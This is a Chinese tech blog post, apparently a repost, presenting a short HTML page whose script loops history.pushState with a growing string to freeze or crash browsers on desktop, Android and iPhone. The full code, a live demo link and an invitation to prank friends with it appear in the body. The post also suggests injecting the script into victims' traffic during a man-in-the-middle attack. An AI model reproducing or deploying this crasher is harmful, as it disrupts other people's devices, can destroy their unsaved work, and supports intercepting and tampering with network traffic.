当前位置:首页 > 未命名 > 正文内容

这十二行代码是如何让浏览器爆炸的?(可以整蛊下你的好友)

admin12个月前 (08-22)未命名157


完整HTML代码如下:

<html><body><script>var total="";for (var i=0;i<1000000;i++){    total= total+i.toString();    history.pushState(0,0,total);}</script></body></html>

demo:(温馨提示:请保存浏览器其它窗口的编辑任务)


https://lsybk.xyz/hhh.html


千万别打开

来下会发生什么?

如果你是PC端用户,点开链接以后,电脑CPU内存极有可能一路狂飙直至浏览器崩溃卡死!


如果你是移动端(安卓、iPhone)用户,点开链接以后你的浏览器会闪退!在微博、微信客户端点开链接同样会闪退。至于在推文中提到的让iPhone重启,这一现象倒是没有出现。22:49 修正:iPhone用Safari打开之后链接之后,手机注销重启了!…
思考


这是Bug还是0day?为什么会有这一现象?如何实现的?
有哪些比较有意思的利用姿势?(我先来个:当在执行MITM中间人攻击的时候,可以注入这一段js,来个恶搞整蛊。然后都懂的…)


版权属于: 缤纷彩虹天地

原文地址: http://blog.cccyun.cc/?post=239

转载时必须以链接形式注明原始出处及本声明。


扫描二维码推送至手机访问。

版权声明:本文由勤奋的思远发布,如需转载请注明出处。

如果文章对你有帮助的话就赞助一下吧https://lsybk.xyz/post/75.html

本文链接:https://lsybk.xyz/post/35.html

分享给朋友:

相关文章

原来Windows10隐藏了这么多的好用功能,真是错怪他了!
【cmd命令】两条命令教你破获WiFi密码

【cmd命令】两条命令教你破获WiFi密码

cmd命令,就是命令提示符,用命令的方式...

【C++入门教程(1)】该选择什么样的编译器

【C++入门教程(1)】该选择什么样的编译器

教程开篇,在这我只敢说是入门教程,因为小...

分享一下一些C语言教学PPT

分享一下一些C语言教学PPT

这些PPT是清华大学出版社写的《C语言从...

【C++入门教程(3)】简单的加法程序

【C++入门教程(3)】简单的加法程序

上节课我们学了输出语句那么这节课我们就再...

CE实战——植物大战僵尸向日葵无限出阳光

CE实战——植物大战僵尸向日葵无限出阳光

嘿大家好,我又来了,植物大战僵尸今天我们...

发表评论

访客

看不清,换一张

◎欢迎参与讨论,请在这里发表您的看法和观点。